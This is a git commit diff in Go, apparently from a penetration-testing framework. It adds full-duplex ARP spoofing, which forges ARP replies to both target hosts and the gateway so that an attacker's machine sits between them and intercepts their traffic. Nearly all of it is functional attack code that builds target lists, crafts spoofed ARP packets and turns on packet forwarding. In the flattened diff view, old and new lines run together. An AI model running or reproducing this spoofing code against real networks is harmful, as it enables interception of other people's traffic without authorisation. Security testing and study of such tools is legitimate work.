new: implemented arp.spoof.fullduplex (closes #426)

This commit is contained in:
evilsocket 2019-02-11 13:37:33 +01:00
commit 261789d592
No known key found for this signature in database
GPG key ID: 1564D7F30393A456

View file

@ -20,6 +20,7 @@ type ArpSpoofer struct {
macs []net.HardwareAddr macs []net.HardwareAddr
wAddresses []net.IP wAddresses []net.IP
wMacs []net.HardwareAddr wMacs []net.HardwareAddr
fullDuplex bool
internal bool internal bool
ban bool ban bool
waitGroup *sync.WaitGroup waitGroup *sync.WaitGroup
@ -34,6 +35,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
wMacs: make([]net.HardwareAddr, 0), wMacs: make([]net.HardwareAddr, 0),
ban: false, ban: false,
internal: false, internal: false,
fullDuplex: false,
waitGroup: &sync.WaitGroup{}, waitGroup: &sync.WaitGroup{},
} }
@ -45,6 +47,10 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
"false", "false",
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network.")) "If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
p.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
"false",
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
p.AddHandler(session.NewModuleHandler("arp.spoof on", "", p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
"Start ARP spoofer.", "Start ARP spoofer.",
func(args []string) error { func(args []string) error {
@ -90,7 +96,9 @@ func (p *ArpSpoofer) Configure() error {
var targets string var targets string
var whitelist string var whitelist string
if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil { if err, p.fullDuplex = p.BoolParam("arp.spoof.fullduplex"); err != nil {
return err
} else if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
return err return err
} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil { } else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
return err return err
@ -105,10 +113,10 @@ func (p *ArpSpoofer) Configure() error {
log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs) log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
if p.ban { if p.ban {
log.Warning("Running in BAN mode, forwarding not enabled!") log.Warning("running in ban mode, forwarding not enabled!")
p.Session.Firewall.EnableForwarding(false) p.Session.Firewall.EnableForwarding(false)
} else if !p.Session.Firewall.IsForwardingEnabled() { } else if !p.Session.Firewall.IsForwardingEnabled() {
log.Info("Enabling forwarding.") log.Info("enabling forwarding")
p.Session.Firewall.EnableForwarding(true) p.Session.Firewall.EnableForwarding(true)
} }
@ -129,9 +137,13 @@ func (p *ArpSpoofer) Start() error {
neighbours = list.Expand() neighbours = list.Expand()
nNeigh := len(neighbours) - 2 nNeigh := len(neighbours) - 2
log.Warning("ARP spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets) log.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
} else { } else {
log.Info("ARP spoofer started, probing %d targets.", nTargets) log.Info("arp spoofer started, probing %d targets.", nTargets)
}
if p.fullDuplex {
log.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
} }
p.waitGroup.Add(1) p.waitGroup.Add(1)
@ -140,10 +152,10 @@ func (p *ArpSpoofer) Start() error {
gwIP := p.Session.Gateway.IP gwIP := p.Session.Gateway.IP
myMAC := p.Session.Interface.HW myMAC := p.Session.Interface.HW
for p.Running() { for p.Running() {
p.sendArp(gwIP, myMAC, true, false) p.arpSpoofTargets(gwIP, myMAC, true, false)
for _, address := range neighbours { for _, address := range neighbours {
if !p.Session.Skip(address) { if !p.Session.Skip(address) {
p.sendArp(address, myMAC, true, false) p.arpSpoofTargets(address, myMAC, true, false)
} }
} }
@ -155,7 +167,7 @@ func (p *ArpSpoofer) Start() error {
func (p *ArpSpoofer) unSpoof() error { func (p *ArpSpoofer) unSpoof() error {
nTargets := len(p.addresses) + len(p.macs) nTargets := len(p.addresses) + len(p.macs)
log.Info("restoring ARP cache of %d targets.", nTargets) log.Info("restoring ARP cache of %d targets.", nTargets)
p.sendArp(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false) p.arpSpoofTargets(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
if p.internal { if p.internal {
list, _ := iprange.ParseList(p.Session.Interface.CIDR()) list, _ := iprange.ParseList(p.Session.Interface.CIDR())
@ -163,7 +175,7 @@ func (p *ArpSpoofer) unSpoof() error {
for _, address := range neighbours { for _, address := range neighbours {
if !p.Session.Skip(address) { if !p.Session.Skip(address) {
if realMAC, err := p.Session.FindMAC(address, false); err == nil { if realMAC, err := p.Session.FindMAC(address, false); err == nil {
p.sendArp(address, realMAC, false, false) p.arpSpoofTargets(address, realMAC, false, false)
} }
} }
} }
@ -197,43 +209,56 @@ func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
return false return false
} }
func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) { func (p *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
targets := make(map[string]net.HardwareAddr)
// add targets specified by IP address
for _, ip := range p.addresses {
if p.Session.Skip(ip) {
log.Debug("skipping IP %s from arp spoofing.", ip)
continue
}
// do we have this ip mac address?
if hw, err := p.Session.FindMAC(ip, probe); err != nil {
log.Debug("could not find hardware address for %s", ip.String())
} else {
targets[ip.String()] = hw
}
}
// add targets specified by MAC address
for _, hw := range p.macs {
if ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false); err != nil {
log.Warning("could not find IP address for %s", hw.String())
} else if p.Session.Skip(net.ParseIP(ip)) {
log.Debug("skipping address %s from arp spoofing.", ip)
} else {
targets[ip] = hw
}
}
return targets
}
func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
p.waitGroup.Add(1) p.waitGroup.Add(1)
defer p.waitGroup.Done() defer p.waitGroup.Done()
targets := make(map[string]net.HardwareAddr) gwIP := p.Session.Gateway.IP
for _, ip := range p.addresses { gwHW := p.Session.Gateway.HW
if p.Session.Skip(ip) { ourHW := p.Session.Interface.HW
log.Debug("Skipping address %s from ARP spoofing.", ip) isGW := false
continue isSpoofing := false
}
// do we have this ip mac address? // are we spoofing the gateway IP?
hw, err := p.Session.FindMAC(ip, probe) if bytes.Equal(saddr, gwIP) {
if err != nil { isGW = true
log.Debug("Could not find hardware address for %s, retrying in one second.", ip.String()) // are we restoring the original MAC of the gateway?
continue if !bytes.Equal(smac, gwHW) {
isSpoofing = true
} }
targets[ip.String()] = hw
} }
for _, hw := range p.macs { for ip, mac := range p.getTargets(probe) {
ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false)
if err != nil {
log.Warning("Could not find IP address for %s, retrying in one second.", hw.String())
continue
}
if p.Session.Skip(net.ParseIP(ip)) {
log.Debug("Skipping address %s from ARP spoofing.", ip)
continue
}
targets[ip] = hw
}
for ip, mac := range targets {
if check_running && !p.Running() { if check_running && !p.Running() {
return return
} else if p.isWhitelisted(ip, mac) { } else if p.isWhitelisted(ip, mac) {
@ -243,11 +268,38 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
continue continue
} }
if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil { rawIP := net.ParseIP(ip)
log.Error("Error while creating ARP spoof packet for %s: %s", ip, err) if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
log.Error("error while creating ARP spoof packet for %s: %s", ip, err)
} else { } else {
log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String()) log.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
p.Session.Queue.Send(pkt) p.Session.Queue.Send(pkt)
} }
if p.fullDuplex && isGW {
err := error(nil)
gwPacket := []byte(nil)
if isSpoofing {
log.Debug("telling the gw we are %s", ip)
// we told the target we're te gateway, not let's tell the
// gateway that we are the target
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
log.Error("error while creating ARP spoof packet: %s", err)
}
} else {
log.Debug("telling the gw %s is %s", ip, mac)
// send the gateway the original MAC of the target
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
log.Error("error while creating ARP spoof packet: %s", err)
}
}
if gwPacket != nil {
if err = p.Session.Queue.Send(gwPacket); err != nil {
log.Error("error while sending packet: %v", err)
}
}
}
} }
} }